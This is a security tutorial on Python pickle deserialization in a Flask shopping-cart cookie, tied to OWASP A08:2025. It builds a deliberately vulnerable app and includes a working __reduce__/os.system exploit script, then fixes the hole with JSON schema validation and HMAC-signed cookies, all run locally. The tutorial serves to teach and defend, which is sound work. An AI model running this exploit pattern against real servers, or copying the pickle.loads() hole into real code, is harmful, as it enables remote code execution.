A shopping cart cookie that looks like random base64 is an easy thing to overlook in a code review. But if a Flask app decodes that cookie with pickle.loads(), anyone who can set a cookie can run arbitrary code on your server — no SQL injection, no XSS, just a single line of "convenient" deserialization. This article builds that vulnerable app, crafts a working exploit with __reduce__, and then fixes it properly with JSON schema validation and HMAC-signed cookies. Along the way we’ll cover what OWASP A08:2025 (Software or Data Integrity Failures) actually covers now that supply-chain risk has its own category.
You’ll need Python 3.9+, Flask, and a willingness to run everything against 127.0.0.1 only — this is local-lab material, not something to point at a production host.
Why pickle is dangerous for untrusted input
Python’s pickle module serializes objects into a byte stream and reconstructs them later. The catch is in how reconstruction works: a pickle stream isn’t just data, it’s a small stack-based program for the pickle virtual machine. One of its opcodes, REDUCE, tells the unpickler "call this callable with these arguments" — and the callable can be anything importable, including os.system, subprocess.Popen, or eval.
Any Python object can hook into pickling by defining __reduce__, which normally exists so pickle knows how to rebuild custom objects. An attacker doesn’t need access to your code to abuse this — they just need to control the bytes you hand to pickle.loads(). The official Python docs put it plainly: "The pickle module is not secure. Only unpickle data you trust."
In practice, pickle.loads() on attacker-controlled input shows up in:
- Session or preference data stored in cookies (today’s lab scenario)
- Cached objects deserialized from Redis/Memcached without a trust boundary
- File uploads or message-queue payloads deserialized without validation
- Some older ML model-loading code (
torch.load()with default settings uses pickle internally, for example)
OWASP A08:2025: what’s actually in scope now
OWASP A08:2025 is titled Software or Data Integrity Failures — note the "or," changed from "and" in the 2021 edition. That’s not a copy-edit; it reflects a real scope narrowing. According to the current OWASP Top 10 documentation, A08:2025 is "focused on the failure to maintain trust boundaries and verify the integrity of software, code, and data artifacts at a lower level than Software Supply Chain Failures."
In other words: broad supply-chain risks — compromised build pipelines, malicious dependencies, unsigned packages pulled from a public registry — now live under A03:2025 (Software Supply Chain Failures). A08:2025 is narrower and lower-level: it’s about whether your application verifies the integrity of the software, code, and data it consumes at runtime. Insecure deserialization of untrusted data — the pickle RCE in this article — is squarely an A08 problem, not a supply-chain one, because the trust failure happens inside your own code’s assumptions about the bytes it just received, not in how a dependency got onto your build server.
The category’s published statistics make the point that this is a meaningfully-sized, well-understood risk class, not a rare edge case:
| Metric | Value |
|---|---|
| CWEs mapped to A08:2025 | 14 |
| Max incidence rate | 8.98% |
| Average coverage | 45.49% |
| Total occurrences | 501,327 |
(Source: OWASP Top 10 2025 — A08 Software or Data Integrity Failures)
Insecure deserialization (CWE-502) is one of those 14 mapped CWEs, alongside issues like missing integrity checks on auto-update mechanisms and unsigned/unverified critical data.
Step 1: build the vulnerable Flask app
The scenario: a tiny shop app stores the visitor’s cart as a base64-encoded pickle in a cookie, and reads it back with pickle.loads() on every request. This is a realistic — if simplified — stand-in for any app that trusts serialized state round-tripped through the client.
# vulnerable/app.py
import base64
import pickle
from flask import Flask, make_response, request
app = Flask(__name__)
DEFAULT_CART = {"items": ["coffee"], "total": 4.50}
def encode_cart(cart: dict) -> str:
return base64.b64encode(pickle.dumps(cart)).decode("ascii")
def decode_cart(blob: str) -> dict:
# VULNERABLE: pickle.loads() on attacker-controlled bytes executes
# arbitrary code via __reduce__ during unpickling.
return pickle.loads(base64.b64decode(blob))
@app.route("/")
def index():
blob = request.cookies.get("cart")
cart = decode_cart(blob) if blob else DEFAULT_CART
resp = make_response(f"<h1>Pickle Shop (vulnerable)</h1><p>Cart: {cart}</p>")
resp.set_cookie("cart", encode_cart(cart))
return resp
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=False)
Run it:
python vulnerable/app.py
A normal request works exactly like you’d expect — the server sets a cart cookie and happily reads it back on the next visit:
curl -s -i http://127.0.0.1:5000/
HTTP/1.1 200 OK
Set-Cookie: cart=gASVKgAAAAAAAAB9lCiMBWl0ZW1zlF2UjAZjb2ZmZWWUYYwFdG90YWyUR0ASAAAAAAAAdS4=; Path=/
<h1>Pickle Shop (vulnerable)</h1><p>Cart: {'items': ['coffee'], 'total': 4.5}</p>...
That cookie value is just base64(pickle.dumps(cart)). Nothing stops a client from sending a different base64-encoded pickle stream instead.
Step 2: craft the malicious pickle payload
pickle.dumps() will happily serialize any object, including one that defines __reduce__ to return a callable and its arguments. When the resulting bytes are unpickled, pickle calls that callable — on the machine doing the unpickling, which in this case is the Flask server.
# exploit.py
import base64
import os
import pickle
import requests
TARGET = "http://127.0.0.1:5000/"
MARKER = "pwned.txt"
class Exploit:
def __reduce__(self):
# Runs during unpickling, on the SERVER, not here.
cmd = f'echo "pwned by pickle RCE lab" > "{MARKER}"'
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(Exploit())).decode("ascii")
resp = requests.get(TARGET, cookies={"cart": payload}, timeout=5)
print(f"Server responded: HTTP {resp.status_code}")
__reduce__ returns a 2-tuple: (callable, args_tuple). Pickle serializes that instruction, and pickle.loads() on the server executes it as os.system('echo "pwned..." > "pwned.txt"') — no eval, no injected SQL, just the unpickler doing exactly what the pickle protocol tells it to do.
Running it against the live vulnerable app:
python exploit.py

The server returned a normal HTTP 200 — from the outside, nothing looked wrong. But on disk, pwned.txt now exists with content written by a shell command that was never in the application’s code. That’s remote code execution via a single deserialization call, achieved with a cookie value an attacker can craft entirely offline, with no access to the server’s source.
In a real engagement, os.system() would be swapped for a reverse shell, a subprocess.Popen spawning a listener, or a payload that reads environment variables and exfiltrates them — the mechanism is identical, only the command changes.
Step 3: fix it — JSON + schema validation, plus signing
The fix has two independent layers, and it’s worth understanding why both matter rather than picking one.
Layer 1 — stop using pickle for untrusted data. json.loads() can only ever produce dict, list, str, number, bool, or None. There is no opcode in the JSON grammar that calls a function. Switching serialization formats removes the entire class of attack, not just this one payload.
JSON alone isn’t enough on its own, though — a client could still submit a JSON cart with 10,000 items, a negative total, or unexpected fields. That’s what schema validation is for:
# fixed/app.py (excerpt)
from jsonschema import validate
CART_SCHEMA = {
"type": "object",
"properties": {
"items": {
"type": "array",
"items": {"type": "string", "maxLength": 100},
"maxItems": 50,
},
"total": {"type": "number", "minimum": 0},
},
"required": ["items", "total"],
"additionalProperties": False,
}
jsonschema.validate() rejects anything that doesn’t match this shape — wrong types, extra fields, oversized arrays — before the data ever reaches application logic. (A pydantic BaseModel is a common alternative if you want validation tied to typed Python objects instead of a schema dict.)
Layer 2 — sign the cookie. Schema validation stops malformed data, but it doesn’t stop a well-formed, correctly-shaped cookie that the client fabricated from scratch (e.g., setting total to 0 after adding expensive items). For anything where you need to trust that your server wrote the value, sign it with an HMAC so tampering is detectable before the content is even parsed. Flask’s own dependency itsdangerous does this in a couple of lines:
# fixed/app.py (excerpt)
import os
from itsdangerous import BadSignature, URLSafeSerializer
SECRET_KEY = os.environ.get("CART_SECRET_KEY", "lab-placeholder-secret-key")
serializer = URLSafeSerializer(SECRET_KEY, salt="cart-cookie")
def decode_cart(blob: str) -> dict:
data = serializer.loads(blob) # raises BadSignature if tampered
validate(instance=data, schema=CART_SCHEMA) # raises ValidationError if malformed
return data
URLSafeSerializer stores the payload as base64(json) + "." + hmac_signature. Any modification to the JSON part invalidates the signature, and serializer.loads() raises BadSignature — before jsonschema or application code ever sees untrusted structure. The schema check still runs afterward as defense in depth, in case the signing key ever leaks or a future code change removes the signature check by accident.
In production, load SECRET_KEY from an environment variable or secrets manager, generate it with something like secrets.token_hex(32), and never commit it — the value used here is a placeholder for the lab only.
Step 4: prove the fix works
Re-run the exact same malicious pickle cookie from Step 2 against the fixed app, listening on port 5001:
# exploit_fixed.py (excerpt)
resp = requests.get("http://127.0.0.1:5001/", cookies={"cart": payload}, timeout=5)
python exploit_fixed.py

The pickle bytes aren’t valid itsdangerous-signed JSON, so serializer.loads() raises BadSignature immediately — pickle.loads() isn’t even in the code path anymore. No marker file, no code execution. The same view, rendered in a browser:

To see the second layer independently, sign a well-formed-looking but invalid payload with the app’s own (lab-only) key and send that instead:
from itsdangerous import URLSafeSerializer
s = URLSafeSerializer("lab-placeholder-secret-key", salt="cart-cookie")
cookie = s.dumps({"items": ["x"], "total": "not-a-number", "extra": "nope"})
curl -s --cookie "cart=$COOKIE" http://127.0.0.1:5001/
<p style='color:red'>Cookie failed schema validation — rejected: Additional properties are not allowed ('extra' was unexpected)</p>
Even with a correctly-computed signature, the schema check catches the wrong type on total and the unexpected extra field. Two independent checks, two independent failure modes caught.
Other mitigations worth knowing
hmac.compare_digest()for manual signature checks. If you’re not using a library likeitsdangerous, always compare HMACs with a constant-time function, never==, to avoid timing attacks on the comparison itself.- Avoid
picklefor anything crossing a trust boundary — full stop. If you must use a binary serialization format for untrusted input, look at ones with no code-execution opcodes by design, such as Protocol Buffers or MessagePack, and still validate the resulting structure. - If you must unpickle, restrict what can be unpickled. Python supports overriding
Unpickler.find_class()to allow only an explicit allow-list of safe types — but this is a mitigation of last resort, not a replacement for not using pickle on untrusted data; allow-lists are easy to get subtly wrong. torch.load()and similar ML loaders default to pickle. If you load third-party model files, useweights_only=True(where supported) or a safer format likesafetensors, and treat model files from the internet as untrusted input.- Don’t roll your own crypto for signing. Use a maintained library (
itsdangerous,cryptography‘s HMAC primitives, or your framework’s built-in signed-cookie support) instead of hand-rolling HMAC construction.
Key takeaways
pickle.loads()on attacker-controlled bytes is remote code execution, not a theoretical risk — a__reduce__method is enough to run arbitrary commands during deserialization.- OWASP A08:2025 narrowed scope from the 2021 edition: broad supply-chain risk now lives in A03:2025, while A08 focuses specifically on runtime integrity of software, code, and data your application consumes — exactly the class of bug this lab demonstrates.
- Fix insecure deserialization by changing format, not by patching the payload: JSON (or another non-executable format) plus schema validation (
jsonschema,pydantic) removes the code-execution path entirely. - Add HMAC signing for any client-stored data your server needs to trust, as a second, independent layer against tampering — schema validation and signing catch different failure modes.
- A08:2025 covers 14 mapped CWEs with a max incidence rate of 8.98%, average coverage of 45.49%, and 501,327 recorded occurrences — this is a common, well-documented category, not an edge case.
References
- OWASP Top 10 2025 — A08:2025 Software or Data Integrity Failures
- Python docs —
picklemodule, security warning - CWE-502: Deserialization of Untrusted Data
itsdangerousdocumentationjsonschemadocumentation
Lab: download and run it
What’s inside:
rce-pickle-lab/
├── vulnerable/app.py # pickle.loads() on the cart cookie — vulnerable
├── fixed/app.py # JSON + jsonschema + HMAC-signed cookie — fixed
├── exploit.py # builds the malicious pickle, proves RCE on :5000
├── exploit_fixed.py # replays it at :5001, proves it's rejected
├── requirements.txt
├── run_vulnerable.sh / .bat
├── run_fixed.sh / .bat
└── README.md
To run it:
- Unzip the archive, then
cd rce-pickle-lab. - Install dependencies:
python -m venv venv && source venv/bin/activate(Windows:venv\Scripts\activate), thenpip install -r requirements.txt. - Start the vulnerable app in one terminal:
./run_vulnerable.sh(Windows:run_vulnerable.bat). It listens on127.0.0.1:5000. - In a second terminal, run
python exploit.py. You should seeRCE confirmedand apwned.txtfile appear in the lab folder. - Stop the vulnerable app (
Ctrl+C), deletepwned.txt, then start the fixed app:./run_fixed.sh(Windows:run_fixed.bat). It listens on127.0.0.1:5001. - Run
python exploit_fixed.py— you should seeConfirmed: no marker file written. The fixed app rejected the payload. - Stop the fixed app with
Ctrl+C. Both apps listen on127.0.0.1only, with no real secrets — safe to leave running locally during the exercise and simple to tear down afterward.